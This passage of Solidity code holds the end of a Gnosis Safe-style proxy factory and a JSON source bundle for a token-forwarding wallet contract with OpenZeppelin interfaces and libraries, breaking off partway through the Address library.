if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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{{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool 